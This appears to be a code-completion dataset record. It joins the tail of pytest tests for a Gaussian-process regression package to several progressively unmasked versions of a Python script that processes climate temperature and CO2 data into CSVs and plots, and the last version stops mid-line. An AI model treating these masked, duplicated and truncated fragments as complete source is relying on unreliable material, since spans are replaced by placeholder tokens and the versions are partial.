hypers=(1.0, 0.5))\nvariances = np.random.random(size=(n,))\nY = np.random.multivariate_normal(np.zeros(n), cov=cov)\nY += np.random.normal(0, 0.2, n)\n\n\ndef test_init():\n model = gpmodel.GPRegressor(kernel)\n assert np.allclose(model.mean_func.mean(X), np.zeros((len(X),)))\n assert model.objective == model._log_ML\n assert model.kernel == kernel\n assert model.guesses is None\n model = gpmodel.GPRegressor(kernel, guesses=(0.1, 0.1, 0.1))\n assert model.guesses == (0.1, 0.1, 0.1)\n\n\ndef test_normalize():\n model = gpmodel.GPRegressor(kernel)\n m, s, normed = model._normalize(Y)\n assert np.isclose(m, Y.mean())\n assert np.isclose(s, Y.std())\n assert np.allclose(normed, (Y - m) / s)\n model.std = s\n model.mean = m\n assert np.allclose(Y, model.unnormalize(normed))\n\n\ndef test_K():\n model = gpmodel.GPRegressor(kernel)\n model.kernel.fit(X)\n K, Ky = model._make_Ks((1, 1, 1))\n assert np.allclose(K, kernel.cov(X, X))\n assert np.allclose(Ky, K + np.diag(np.ones(len(K))))\n model.variances = variances\n K, Ky = model._make_Ks((1, 1))\n assert np.allclose(K, kernel.cov(X, X))\n assert np.allclose(Ky, K + np.diag(variances))\n\n\ndef test_ML():\n model = gpmodel.GPRegressor(kernel)\n model.kernel.fit(X)\n model.normed_Y = model._normalize(Y)[2]\n model._ell = len(Y)\n hypers = np.random.random(size=(3,))\n y_mat = model.normed_Y.reshape((n, 1))\n K, Ky = model._make_Ks(hypers)\n first = 0.5 * y_mat.T @ np.linalg.inv(Ky) @ y_mat\n second = 0.5 * np.log(np.linalg.det(Ky))\n third = model._ell / 2.0 * np.log(2 * np.pi)\n actual = first + second + third\n assert np.isclose(actual, model._log_ML(hypers))\n\n\ndef test_fit():\n model = gpmodel.GPRegressor(kernel)\n model.fit(X, Y)\n assert model._n_hypers == kernel._n_hypers + 1\n assert np.allclose(model.X, X)\n assert np.allclose(model.Y, Y)\n m, s, normed = model._normalize(Y)\n assert np.allclose(model.normed_Y, normed)\n assert np.isclose(m, model.mean)\n assert np.isclose(s, model.std)\n vn, s0, ell = model.hypers\n K = kernel.cov(X, X, (s0, ell))\n Ky = K + np.diag(vn * np.ones(len(K)))\n ML = model._log_ML(model.hypers)\n L = np.linalg.cholesky(Ky)\n alpha = np.linalg.inv(Ky) @ normed.reshape((n, 1))\n assert np.isclose(model.ML, ML)\n assert np.allclose(model._K, K)\n assert np.allclose(model._Ky, Ky)\n assert np.allclose(model._L, L)\n assert np.allclose(model._alpha, alpha)\n\n\ndef test_predict():\n model = gpmodel.GPRegressor(kernel)\n model.fit(X, Y)\n h = model.hypers[1:]\n m, s, normed = model._normalize(Y)\n k_star = model.kernel.cov(X_test, X, hypers=h)\n k_star_star = model.kernel.cov(X_test, X_test, hypers=h)\n K = kernel.cov(X, X, h)\n Ky = K + np.diag(model.hypers[0] * np.ones(len(K)))\n means = k_star @ np.linalg.inv(Ky) @ normed.reshape(len(Y), 1)\n means = means * s + m\n var = k_star_star - k_star @ np.linalg.inv(Ky) @ k_star.T\n var *= s ** 2\n m, v = model.predict(X_test)\n print(v)\n print(var)\n print(model.hypers[0])\n assert (np.abs(v - var) < 0.1).all()\n assert np.allclose(means[:, 0], m, rtol=1e-08, atol=0.0001)\n\n\ndef test_pickles():\n model = gpmodel.GPRegressor(kernel)\n model.fit(X, Y)\n m1, v1 = model.predict(X_test)\n model.dump('test.pkl')\n new_model = gpmodel.GPRegressor.load('test.pkl')\n os.remove('test.pkl')\n m2, v2 = new_model.predict(X_test)\n assert np.allclose(m1, m2)\n assert np.allclose(v1, v2)\n\n\nif __name__ == '__main__':\n test_init()\n test_normalize()\n test_K()\n test_ML()\n test_fit()\n test_predict()\n test_pickles()\n", "step-5": "import pytest\nimport os\n\nimport pandas as pd\nimport numpy as np\nimport math\nimport scipy\nfrom scipy import stats\nfrom sklearn import metrics, linear_model\n\nfrom gpmodel import gpkernel\nfrom gpmodel import gpmodel\nfrom gpmodel import gpmean\nfrom gpmodel import chimera_tools\n\nn = 200\nd = 10\nX = np.random.random(size=(n, d))\nxa = X[[0]]\nxb = X[[1]]\nXc = X[[2]]\nclass_Y = np.random.choice((1, -1), size=(n,))\nalpha = 1e-1\nfunc = gpmean.GPMean(linear_model.Lasso, alpha=alpha)\nX_test = np.random.random(size=(5, d))\nkernel = gpkernel.SEKernel()\ncov = kernel.cov(X, X, hypers=(1.0, 0.5))\nvariances = np.random.random(size=(n, ))\nY = np.random.multivariate_normal(np.zeros(n), cov=cov)\nY += np.random.normal(0, 0.2, n)\n\n\ndef test_init():\n model = gpmodel.GPRegressor(kernel)\n assert np.allclose(model.mean_func.mean(X), np.zeros((len(X), )))\n assert model.objective == model._log_ML\n assert model.kernel == kernel\n assert model.guesses is None\n model = gpmodel.GPRegressor(kernel, guesses=(0.1, 0.1, 0.1))\n assert model.guesses == (0.1, 0.1, 0.1)\n\n\ndef test_normalize():\n model = gpmodel.GPRegressor(kernel)\n m, s, normed = model._normalize(Y)\n assert np.isclose(m, Y.mean())\n assert np.isclose(s, Y.std())\n assert np.allclose(normed, (Y - m) / s)\n model.std = s\n model.mean = m\n assert np.allclose(Y, model.unnormalize(normed))\n\n\ndef test_K():\n model = gpmodel.GPRegressor(kernel)\n model.kernel.fit(X)\n K, Ky = model._make_Ks((1, 1, 1))\n assert np.allclose(K, kernel.cov(X, X))\n assert np.allclose(Ky, K + np.diag(np.ones(len(K))))\n model.variances = variances\n K, Ky = model._make_Ks((1, 1))\n assert np.allclose(K, kernel.cov(X, X))\n assert np.allclose(Ky, K + np.diag(variances))\n\n\ndef test_ML():\n model = gpmodel.GPRegressor(kernel)\n model.kernel.fit(X)\n model.normed_Y = model._normalize(Y)[2]\n model._ell = len(Y)\n hypers = np.random.random(size=(3,))\n y_mat = model.normed_Y.reshape((n, 1))\n K, Ky = model._make_Ks(hypers)\n first = 0.5 * y_mat.T @ np.linalg.inv(Ky) @ y_mat\n second = 0.5 * np.log(np.linalg.det(Ky))\n third = model._ell / 2.0 * np.log(2 * np.pi)\n actual = first + second + third\n assert np.isclose(actual, model._log_ML(hypers))\n\n\ndef test_fit():\n model = gpmodel.GPRegressor(kernel)\n model.fit(X, Y)\n assert model._n_hypers == kernel._n_hypers + 1\n assert np.allclose(model.X, X)\n assert np.allclose(model.Y, Y)\n m, s, normed = model._normalize(Y)\n assert np.allclose(model.normed_Y, normed)\n assert np.isclose(m, model.mean)\n assert np.isclose(s, model.std)\n vn, s0, ell = model.hypers\n K = kernel.cov(X, X, (s0, ell))\n Ky = K + np.diag(vn * np.ones(len(K)))\n ML = model._log_ML(model.hypers)\n L = np.linalg.cholesky(Ky)\n alpha = np.linalg.inv(Ky) @ normed.reshape((n, 1))\n assert np.isclose(model.ML, ML)\n assert np.allclose(model._K, K)\n assert np.allclose(model._Ky, Ky)\n assert np.allclose(model._L, L)\n assert np.allclose(model._alpha, alpha)\n\n\ndef test_predict():\n model = gpmodel.GPRegressor(kernel)\n model.fit(X, Y)\n h = model.hypers[1::]\n m, s, normed = model._normalize(Y)\n k_star = model.kernel.cov(X_test, X, hypers=h)\n k_star_star = model.kernel.cov(X_test, X_test, hypers=h)\n K = kernel.cov(X, X, h)\n Ky = K + np.diag(model.hypers[0] * np.ones(len(K)))\n means = k_star @ np.linalg.inv(Ky) @ normed.reshape(len(Y), 1)\n means = means * s + m\n var = k_star_star - k_star @ np.linalg.inv(Ky) @ k_star.T\n var *= s ** 2\n m, v = model.predict(X_test)\n print(v)\n print(var)\n print(model.hypers[0])\n assert (np.abs(v - var) < 1e-1).all()\n assert np.allclose(means[:, 0], m, rtol=1.e-8, atol=1e-4)\n\n\ndef test_pickles():\n model = gpmodel.GPRegressor(kernel)\n model.fit(X, Y)\n m1, v1 = model.predict(X_test)\n model.dump('test.pkl')\n new_model = gpmodel.GPRegressor.load('test.pkl')\n os.remove('test.pkl')\n m2, v2 = new_model.predict(X_test)\n assert np.allclose(m1, m2)\n assert np.allclose(v1, v2)\n\n\nif __name__ == \"__main__\":\n test_init()\n test_normalize()\n test_K()\n test_ML()\n test_fit()\n test_predict()\n test_pickles()\n # To Do:\n # Test LOO_res and LOO_log_p and fitting with LOO_log_p\n # Test with mean functions\n # Test with given variances\n", "step-ids": [ 6, 7, 8, 9, 11 ] }
[ 6, 7, 8, 9, 11 ]
<|reserved_special_token_0|> def plot_temperatures_by_country(values, country, start, end): """ Returns a plot for temperature values for a country from a start point to an end point """ filtered = values.loc[(values['Country'] == country) & (values['dt'] >= start) & (values['dt'] <= end)] x1 = filtered['dt'] y1 = filtered['AverageTemperature'] plt.plot(x1, y1, label='line 1') filtered = values.loc[(values['Country'] == country) & (values['dt'] >= '1973-01-01') & (values['dt'] <= '1974-01-01')] x2 = filtered['dt'] y2 = filtered['AverageTemperature'] plt.plot(x2, y2, label='line 2') plt.xlabel('x - axis - date') plt.ylabel('y - axis - temperature') plt.title('Temperatures from ' + start + ' to ' + end + ' for ' + country) plt.show() def temperatures_by_city_till2013(): """ Info for dataset, temperatures by city part 1 - from 1743 to 2013 """ temperatures = pd.read_csv( 'GlobalLandTemperatures/GlobalLandTemperaturesByCity.csv') print(len(temperatures)) countries = temperatures['Country'].unique() print(len(countries)) print(sorted(countries)) def temperatures_by_country_till2013(): """ Info for dataset, temperatures by country part 1 - from 1743 to 2013 """ temperatures = pd.read_csv( 'GlobalLandTemperatures/GlobalLandTemperaturesByCountry.csv') print(len(temperatures)) countries = temperatures['Country'].unique() print(len(countries)) print(sorted(countries)) def plot_co2_by_country(values, country, start, end): """ Returns a plot for co2 values for a country from a start point to an end point """ filtered = values.loc[(values['Country'] == country) & (values['Year'] >= start) & (values['Year'] <= end)] x1 = filtered['Year'] y1 = filtered['CO2'] plt.plot(x1, y1, label='line 1') plt.xlabel('x - axis - year') plt.ylabel('y - axis - co2') plt.title('CO2 from ' + start + ' to ' + end + ' for ' + country) plt.show() <|reserved_special_token_0|> def get_lat_lon(): """ Returns arrays for latitudes, longitudes, cities and countries from dataset, temperatures by country part 1, from 1743 to 2013 """ temperatures = pd.read_csv( 'GlobalLandTemperatures/GlobalLandTemperaturesByCity.csv') Latitude = temperatures['Latitude'] Longitude = temperatures['Longitude'] City = temperatures['City'] Country = temperatures['Country'] lat_array = [] long_array = [] cities_array = [] countries_array = [] tuples = [] for i, j, city, country in zip(Latitude, Longitude, City, Country): if (i, j) not in tuples: tuples.append((i, j)) lat_array.append(float(i[:-1])) long_array.append(float(j[:-1])) cities_array.append(city) countries_array.append(country) return lat_array, long_array, cities_array, countries_array def make_dataset_temperatures(filename, points): """ From netCDF4 file to CSV file """ ds = Dataset(filename) lats, lons, cities, countries = get_lat_lon() print('The number of rows is ' + str(len(lats) * points)) lon = ds.variables['longitude'] lat = ds.variables['latitude'] time = ds.variables['date_number'] lon_array = lon[:] lat_array = lat[:] time_array = time[:] temperature = ds.variables['temperature'] dates = [] for time in time_array[:]: year = int(time) rem = time - year base = datetime(year, 1, 1) dates.append((base + timedelta(seconds=(base.replace(year=base.year + 1) - base).total_seconds() * rem)).date()) dateResult = [] temperatureResult = [] latitudeResult = [] longitudeResult = [] cityResult = [] countryResult = [] for latitude, longitude, city, country in zip(lats, lons, cities, countries ): i = np.abs(lon_array - longitude).argmin() j = np.abs(lat_array - latitude).argmin() for d in dates: dateResult.append(d) resultTemperature = temperature[:, j, i] for t in resultTemperature: temperatureResult.append(t) resultLatitues = np.full(shape=points, fill_value=latitude, dtype= np.float) for l in resultLatitues: latitudeResult.append(l) resultLongitudes = np.full(shape=points, fill_value=longitude, dtype=np.float) for l in resultLongitudes: longitudeResult.append(l) resultCities = np.full(shape=points, fill_value=city) for c in resultCities: cityResult.append(c) resultCountries = np.full(shape=points, fill_value=country) for c in resultCountries: countryResult.append(c) print('iteration no:' + str(i)) df = pd.DataFrame() df['date'] = dateResult df['temperature'] = temperatureResult df['latitude'] = latitudeResult df['longitude'] = longitudeResult df['city'] = cityResult df['country'] = countryResult df.to_csv('C:\\Users\\stoja\\Desktop\\Temperatures.csv', index=False) return df def model(): ds = Dataset('air.mon.mean.v501.nc') print(ds) time = ds.variables['time'] print(time.units) time_array = time[:] for t in time_array[:]: print(num2date(t, units=time.units)) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def plot_temperatures_by_country(values, country, start, end): """ Returns a plot for temperature values for a country from a start point to an end point """ filtered = values.loc[(values['Country'] == country) & (values['dt'] >= start) & (values['dt'] <= end)] x1 = filtered['dt'] y1 = filtered['AverageTemperature'] plt.plot(x1, y1, label='line 1') filtered = values.loc[(values['Country'] == country) & (values['dt'] >= '1973-01-01') & (values['dt'] <= '1974-01-01')] x2 = filtered['dt'] y2 = filtered['AverageTemperature'] plt.plot(x2, y2, label='line 2') plt.xlabel('x - axis - date') plt.ylabel('y - axis - temperature') plt.title('Temperatures from ' + start + ' to ' + end + ' for ' + country) plt.show() def temperatures_by_city_till2013(): """ Info for dataset, temperatures by city part 1 - from 1743 to 2013 """ temperatures = pd.read_csv( 'GlobalLandTemperatures/GlobalLandTemperaturesByCity.csv') print(len(temperatures)) countries = temperatures['Country'].unique() print(len(countries)) print(sorted(countries)) def temperatures_by_country_till2013(): """ Info for dataset, temperatures by country part 1 - from 1743 to 2013 """ temperatures = pd.read_csv( 'GlobalLandTemperatures/GlobalLandTemperaturesByCountry.csv') print(len(temperatures)) countries = temperatures['Country'].unique() print(len(countries)) print(sorted(countries)) def plot_co2_by_country(values, country, start, end): """ Returns a plot for co2 values for a country from a start point to an end point """ filtered = values.loc[(values['Country'] == country) & (values['Year'] >= start) & (values['Year'] <= end)] x1 = filtered['Year'] y1 = filtered['CO2'] plt.plot(x1, y1, label='line 1') plt.xlabel('x - axis - year') plt.ylabel('y - axis - co2') plt.title('CO2 from ' + start + ' to ' + end + ' for ' + country) plt.show() def co2_by_country_till2019(): """ Info for dataset, co2 by country part 1 - from 1751 to 2017 """ co2_messy = pd.read_csv('CO2/emission data.csv') co2 = pd.melt(co2_messy, id_vars=['Country'], var_name='Year', value_name='CO2') df = pd.DataFrame() df['Country'] = co2['Country'] df['Year'] = co2['Year'] df['CO2'] = co2['CO2'] df.to_csv('C:\\Users\\stoja\\Desktop\\EmissionCO2.csv', index=False) def get_lat_lon(): """ Returns arrays for latitudes, longitudes, cities and countries from dataset, temperatures by country part 1, from 1743 to 2013 """ temperatures = pd.read_csv( 'GlobalLandTemperatures/GlobalLandTemperaturesByCity.csv') Latitude = temperatures['Latitude'] Longitude = temperatures['Longitude'] City = temperatures['City'] Country = temperatures['Country'] lat_array = [] long_array = [] cities_array = [] countries_array = [] tuples = [] for i, j, city, country in zip(Latitude, Longitude, City, Country): if (i, j) not in tuples: tuples.append((i, j)) lat_array.append(float(i[:-1])) long_array.append(float(j[:-1])) cities_array.append(city) countries_array.append(country) return lat_array, long_array, cities_array, countries_array def make_dataset_temperatures(filename, points): """ From netCDF4 file to CSV file """ ds = Dataset(filename) lats, lons, cities, countries = get_lat_lon() print('The number of rows is ' + str(len(lats) * points)) lon = ds.variables['longitude'] lat = ds.variables['latitude'] time = ds.variables['date_number'] lon_array = lon[:] lat_array = lat[:] time_array = time[:] temperature = ds.variables['temperature'] dates = [] for time in time_array[:]: year = int(time) rem = time - year base = datetime(year, 1, 1) dates.append((base + timedelta(seconds=(base.replace(year=base.year + 1) - base).total_seconds() * rem)).date()) dateResult = [] temperatureResult = [] latitudeResult = [] longitudeResult = [] cityResult = [] countryResult = [] for latitude, longitude, city, country in zip(lats, lons, cities, countries ): i = np.abs(lon_array - longitude).argmin() j = np.abs(lat_array - latitude).argmin() for d in dates: dateResult.append(d) resultTemperature = temperature[:, j, i] for t in resultTemperature: temperatureResult.append(t) resultLatitues = np.full(shape=points, fill_value=latitude, dtype= np.float) for l in resultLatitues: latitudeResult.append(l) resultLongitudes = np.full(shape=points, fill_value=longitude, dtype=np.float) for l in resultLongitudes: longitudeResult.append(l) resultCities = np.full(shape=points, fill_value=city) for c in resultCities: cityResult.append(c) resultCountries = np.full(shape=points, fill_value=country) for c in resultCountries: countryResult.append(c) print('iteration no:' + str(i)) df = pd.DataFrame() df['date'] = dateResult df['temperature'] = temperatureResult df['latitude'] = latitudeResult df['longitude'] = longitudeResult df['city'] = cityResult df['country'] = countryResult df.to_csv('C:\\Users\\stoja\\Desktop\\Temperatures.csv', index=False) return df def model(): ds = Dataset('air.mon.mean.v501.nc') print(ds) time = ds.variables['time'] print(time.units) time_array = time[:] for t in time_array[:]: print(num2date(t, units=time.units)) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def plot_temperatures_by_country(values, country, start, end): """ Returns a plot for temperature values for a country from a start point to an end point """ filtered = values.loc[(values['Country'] == country) & (values['dt'] >= start) & (values['dt'] <= end)] x1 = filtered['dt'] y1 = filtered['AverageTemperature'] plt.plot(x1, y1, label='line 1') filtered = values.loc[(values['Country'] == country) & (values['dt'] >= '1973-01-01') & (values['dt'] <= '1974-01-01')] x2 = filtered['dt'] y2 = filtered['AverageTemperature'] plt.plot(x2, y2, label='line 2') plt.xlabel('x - axis - date') plt.ylabel('y - axis - temperature') plt.title('Temperatures from ' + start + ' to ' + end + ' for ' + country) plt.show() def temperatures_by_city_till2013(): """ Info for dataset, temperatures by city part 1 - from 1743 to 2013 """ temperatures = pd.read_csv( 'GlobalLandTemperatures/GlobalLandTemperaturesByCity.csv') print(len(temperatures)) countries = temperatures['Country'].unique() print(len(countries)) print(sorted(countries)) def temperatures_by_country_till2013(): """ Info for dataset, temperatures by country part 1 - from 1743 to 2013 """ temperatures = pd.read_csv( 'GlobalLandTemperatures/GlobalLandTemperaturesByCountry.csv') print(len(temperatures)) countries = temperatures['Country'].unique() print(len(countries)) print(sorted(countries)) def plot_co2_by_country(values, country, start, end): """ Returns a plot for co2 values for a country from a start point to an end point """ filtered = values.loc[(values['Country'] == country) & (values['Year'] >= start) & (values['Year'] <= end)] x1 = filtered['Year'] y1 = filtered['CO2'] plt.plot(x1, y1, label='line 1') plt.xlabel('x - axis - year') plt.ylabel('y - axis - co2') plt.title('CO2 from ' + start + ' to ' + end + ' for ' + country) plt.show() def co2_by_country_till2019(): """ Info for dataset, co2 by country part 1 - from 1751 to 2017 """ co2_messy = pd.read_csv('CO2/emission data.csv') co2 = pd.melt(co2_messy, id_vars=['Country'], var_name='Year', value_name='CO2') df = pd.DataFrame() df['Country'] = co2['Country'] df['Year'] = co2['Year'] df['CO2'] = co2['CO2'] df.to_csv('C:\\Users\\stoja\\Desktop\\EmissionCO2.csv', index=False) def get_lat_lon(): """ Returns arrays for latitudes, longitudes, cities and countries from dataset, temperatures by country part 1, from 1743 to 2013 """ temperatures = pd.read_csv( 'GlobalLandTemperatures/GlobalLandTemperaturesByCity.csv') Latitude = temperatures['Latitude'] Longitude = temperatures['Longitude'] City = temperatures['City'] Country = temperatures['Country'] lat_array = [] long_array = [] cities_array = [] countries_array = [] tuples = [] for i, j, city, country in zip(Latitude, Longitude, City, Country): if (i, j) not in tuples: tuples.append((i, j)) lat_array.append(float(i[:-1])) long_array.append(float(j[:-1])) cities_array.append(city) countries_array.append(country) return lat_array, long_array, cities_array, countries_array def make_dataset_temperatures(filename, points): """ From netCDF4 file to CSV file """ ds = Dataset(filename) lats, lons, cities, countries = get_lat_lon() print('The number of rows is ' + str(len(lats) * points)) lon = ds.variables['longitude'] lat = ds.variables['latitude'] time = ds.variables['date_number'] lon_array = lon[:] lat_array = lat[:] time_array = time[:] temperature = ds.variables['temperature'] dates = [] for time in time_array[:]: year = int(time) rem = time - year base = datetime(year, 1, 1) dates.append((base + timedelta(seconds=(base.replace(year=base.year + 1) - base).total_seconds() * rem)).date()) dateResult = [] temperatureResult = [] latitudeResult = [] longitudeResult = [] cityResult = [] countryResult = [] for latitude, longitude, city, country in zip(lats, lons, cities, countries ): i = np.abs(lon_array - longitude).argmin() j = np.abs(lat_array - latitude).argmin() for d in dates: dateResult.append(d) resultTemperature = temperature[:, j, i] for t in resultTemperature: temperatureResult.append(t) resultLatitues = np.full(shape=points, fill_value=latitude, dtype= np.float) for l in resultLatitues: latitudeResult.append(l) resultLongitudes = np.full(shape=points, fill_value=longitude, dtype=np.float) for l in resultLongitudes: longitudeResult.append(l) resultCities = np.full(shape=points, fill_value=city) for c in resultCities: cityResult.append(c) resultCountries = np.full(shape=points, fill_value=country) for c in resultCountries: countryResult.append(c) print('iteration no:' + str(i)) df = pd.DataFrame() df['date'] = dateResult df['temperature'] = temperatureResult df['latitude'] = latitudeResult df['longitude'] = longitudeResult df['city'] = cityResult df['country'] = countryResult df.to_csv('C:\\Users\\stoja\\Desktop\\Temperatures.csv', index=False) return df def model(): ds = Dataset('air.mon.mean.v501.nc') print(ds) time = ds.variables['time'] print(time.units) time_array = time[:] for t in time_array[:]: print(num2date(t, units=time.units)) if __name__ == '__main__': print('Start') co2_by_country_till2019() df1 = make_dataset_temperatures('air.mon.mean.v501.nc', 1416) print(df1.head()) df2 = make_dataset_temperatures('Complete_TAVG_Daily_LatLong1_2010.nc', 3652) print(df2.head()) <|reserved_special_token_1|> import pandas as pd import matplotlib.pyplot as plt from netCDF4 import Dataset from cftime import num2date import os import numpy as np from datetime import datetime, timedelta, date def plot_temperatures_by_country(values, country, start, end): """ Returns a plot for temperature values for a country from a start point to an end point """ filtered = values.loc[(values['Country'] == country) & (values['dt'] >= start) & (values['dt'] <= end)] x1 = filtered['dt'] y1 = filtered['AverageTemperature'] plt.plot(x1, y1, label='line 1') filtered = values.loc[(values['Country'] == country) & (values['dt'] >= '1973-01-01') & (values['dt'] <= '1974-01-01')] x2 = filtered['dt'] y2 = filtered['AverageTemperature'] plt.plot(x2, y2, label='line 2') plt.xlabel('x - axis - date') plt.ylabel('y - axis - temperature') plt.title('Temperatures from ' + start + ' to ' + end + ' for ' + country) plt.show() def temperatures_by_city_till2013(): """ Info for dataset, temperatures by city part 1 - from 1743 to 2013 """ temperatures = pd.read_csv( 'GlobalLandTemperatures/GlobalLandTemperaturesByCity.csv') print(len(temperatures)) countries = temperatures['Country'].unique() print(len(countries)) print(sorted(countries)) def temperatures_by_country_till2013(): """ Info for dataset, temperatures by country part 1 - from 1743 to 2013 """ temperatures = pd.read_csv( 'GlobalLandTemperatures/GlobalLandTemperaturesByCountry.csv') print(len(temperatures)) countries = temperatures['Country'].unique() print(len(countries)) print(sorted(countries)) def plot_co2_by_country(values, country, start, end): """ Returns a plot for co2 values for a country from a start point to an end point """ filtered = values.loc[(values['Country'] == country) & (values['Year'] >= start) & (values['Year'] <= end)] x1 = filtered['Year'] y1 = filtered['CO2'] plt.plot(x1, y1, label='line 1') plt.xlabel('x - axis - year') plt.ylabel('y - axis - co2') plt.title('CO2 from ' + start + ' to ' + end + ' for ' + country) plt.show() def co2_by_country_till2019(): """ Info for dataset, co2 by country part 1 - from 1751 to 2017 """ co2_messy = pd.read_csv('CO2/emission data.csv') co2 = pd.melt(co2_messy, id_vars=['Country'], var_name='Year', value_name='CO2') df = pd.DataFrame() df['Country'] = co2['Country'] df['Year'] = co2['Year'] df['CO2'] = co2['CO2'] df.to_csv('C:\\Users\\stoja\\Desktop\\EmissionCO2.csv', index=False) def get_lat_lon(): """ Returns arrays for latitudes, longitudes, cities and countries from dataset, temperatures by country part 1, from 1743 to 2013 """ temperatures = pd.read_csv( 'GlobalLandTemperatures/GlobalLandTemperaturesByCity.csv') Latitude = temperatures['Latitude'] Longitude = temperatures['Longitude'] City = temperatures['City'] Country = temperatures['Country'] lat_array = [] long_array = [] cities_array = [] countries_array = [] tuples = [] for i, j, city, country in zip(Latitude, Longitude, City, Country): if (i, j) not in tuples: tuples.append((i, j)) lat_array.append(float(i[:-1])) long_array.append(float(j[:-1])) cities_array.append(city) countries_array.append(country) return lat_array, long_array, cities_array, countries_array def make_dataset_temperatures(filename, points): """ From netCDF4 file to CSV file """ ds = Dataset(filename) lats, lons, cities, countries = get_lat_lon() print('The number of rows is ' + str(len(lats) * points)) lon = ds.variables['longitude'] lat = ds.variables['latitude'] time = ds.variables['date_number'] lon_array = lon[:] lat_array = lat[:] time_array = time[:] temperature = ds.variables['temperature'] dates = [] for time in time_array[:]: year = int(time) rem = time - year base = datetime(year, 1, 1) dates.append((base + timedelta(seconds=(base.replace(year=base.year + 1) - base).total_seconds() * rem)).date()) dateResult = [] temperatureResult = [] latitudeResult = [] longitudeResult = [] cityResult = [] countryResult = [] for latitude, longitude, city, country in zip(lats, lons, cities, countries ): i = np.abs(lon_array - longitude).argmin() j = np.abs(lat_array - latitude).argmin() for d in dates: dateResult.append(d) resultTemperature = temperature[:, j, i] for t in resultTemperature: temperatureResult.append(t) resultLatitues = np.full(shape=points, fill_value=latitude, dtype= np.float) for l in resultLatitues: latitudeResult.append(l) resultLongitudes = np.full(shape=points, fill_value=longitude, dtype=np.float) for l in resultLongitudes: longitudeResult.append(l) resultCities = np.full(shape=points, fill_value=city) for c in resultCities: cityResult.append(c) resultCountries = np.full(shape=points, fill_value=country) for c in resultCountries: countryResult.append(c) print('iteration no:' + str(i)) df = pd.DataFrame() df['date'] = dateResult df['temperature'] = temperatureResult df['latitude'] = latitudeResult df['longitude'] = longitudeResult df['city'] = cityResult df['country'] = countryResult df.to_csv('C:\\Users\\stoja\\Desktop\\Temperatures.csv', index=False) return df def model(): ds = Dataset('air.mon.mean.v501.nc') print(ds) time = ds.variables['time'] print(time.units) time_array = time[:] for t in time_array[:]: print(num2date(t, units=time.units)) if __name__ == '__main__': print('Start') co2_by_country_till2019() df1 = make_dataset_temperatures('air.mon.mean.v501.nc', 1416) print(df1.head()) df2 = make_dataset_temperatures('Complete_TAVG_Daily_LatLong1_2010.nc', 3652) print(df2.head()) <|reserved_special_token_1|> import pandas as pd import matplotlib.pyplot as plt from netCDF4 import Dataset from cftime import num2date import os import numpy as np from datetime import datetime, timedelta, date def plot_temperatures_by_country(values, country, start, end): """ Returns a plot for temperature values for a country from a start point to an end point """ filtered = values.loc[(values['Country'] == country) & (values['dt'] >= start) & (values['dt'] <= end)] # x axis values x1 = filtered['dt'] # corresponding y axis values y1 = filtered['AverageTemperature'] # plotting the points plt.plot(x1, y1, label = "line 1") filtered = values.loc[(values['Country'] == country) & (values['dt'] >= '1973-01-01') & (values['dt'] <= '1974-01-01')] # x axis values x2 = filtered['dt'] # corresponding y axis values y2 = filtered['AverageTemperature'] # plotting the points plt.plot(x2, y2, label="line 2") # naming the x axis plt.xlabel('x - axis - date') # naming the y axis plt.ylabel('y - axis - temperature') plt.title('Temperatures from ' + start + ' to ' + end + ' for ' + country) # function to show the plot plt.show() def temperatures_by_city_till2013(): """ Info for dataset, temperatures by city part 1 - from 1743 to 2013 """ # Columns: dt,AverageTemperature,AverageTemperatureUncertainty,City,Country,Latitude,Longitude temperatures = pd.read_csv("GlobalLandTemperatures/GlobalLandTemperaturesByCity.csv") # 8 599 212 rows print(len(temperatures)) countries = temperatures['Country'].unique() print(len(countries)) print(sorted(countries)) def temperatures_by_country_till2013(): """ Info for dataset, temperatures by country part 1 - from 1743 to 2013 """ # Columns: dt, AverageTemperature, AverageTemperatureUncertainty, Country temperatures = pd.read_csv("GlobalLandTemperatures/GlobalLandTemperaturesByCountry.csv") # 577 462 rows print(len(temperatures)) countries = temperatures['Country'].unique() print(len(countries)) print(sorted(countries)) def plot_co2_by_country(values, country, start, end): """ Returns a plot for co2 values for a country from a start point to an end point """ filtered = values.loc[(values['Country'] == country) & (values['Year'] >= start) & (values['Year'] <= end)] # x axis values x1 = filtered['Year'] # corresponding y axis values y1 = filtered['CO2'] # plotting the points plt.plot(x1, y1, label = "line 1") # naming the x axis plt.xlabel('x - axis - year') # naming the y axis plt.ylabel('y - axis - co2') # giving a title to my graph plt.title('CO2 from ' + start + ' to ' + end + ' for ' + country) # function to show the plot plt.show() def co2_by_country_till2019(): """ Info for dataset, co2 by country part 1 - from 1751 to 2017 """ co2_messy = pd.read_csv("CO2/emission data.csv") co2 = pd.melt(co2_messy, id_vars=["Country"], var_name="Year", value_name="CO2") df = pd.DataFrame() df['Country'] = co2['Country'] df['Year'] = co2['Year'] df['CO2'] = co2['CO2'] df.to_csv(r'C:\Users\stoja\Desktop\EmissionCO2.csv', index=False) def get_lat_lon(): """ Returns arrays for latitudes, longitudes, cities and countries from dataset, temperatures by country part 1, from 1743 to 2013 """ # Columns: dt,AverageTemperature,AverageTemperatureUncertainty,City,Country,Latitude,Longitude temperatures = pd.read_csv("GlobalLandTemperatures/GlobalLandTemperaturesByCity.csv") Latitude = temperatures['Latitude'] Longitude = temperatures['Longitude'] City = temperatures['City'] Country = temperatures['Country'] lat_array = [] long_array = [] cities_array = [] countries_array = [] tuples = [] for i, j, city, country in zip(Latitude, Longitude, City, Country): if (i, j) not in tuples: tuples.append((i, j)) lat_array.append(float(i[:-1])) long_array.append(float(j[:-1])) cities_array.append(city) countries_array.append(country) return lat_array, long_array, cities_array, countries_array def make_dataset_temperatures(filename, points): """ From netCDF4 file to CSV file """ ds = Dataset(filename) lats, lons, cities, countries = get_lat_lon() # total lat,lon pairs: 1366 print('The number of rows is ' + str(len(lats)*points)) lon = ds.variables['longitude'] lat = ds.variables['latitude'] time = ds.variables['date_number'] lon_array = lon[:] lat_array = lat[:] time_array = time[:] temperature = ds.variables['temperature'] dates = [] for time in time_array[:]: year = int(time) rem = time - year base = datetime(year, 1, 1) dates.append((base + timedelta(seconds=(base.replace(year=base.year + 1) - base).total_seconds() * rem)).date()) # second approach # for t in time_array[:]: # dates.append(num2date(t, units=time.units)) dateResult = [] temperatureResult = [] latitudeResult = [] longitudeResult = [] cityResult = [] countryResult = [] for latitude, longitude, city, country in zip(lats, lons, cities, countries): # We want to find data for latitude, longitude # We first need to find the indexes i = 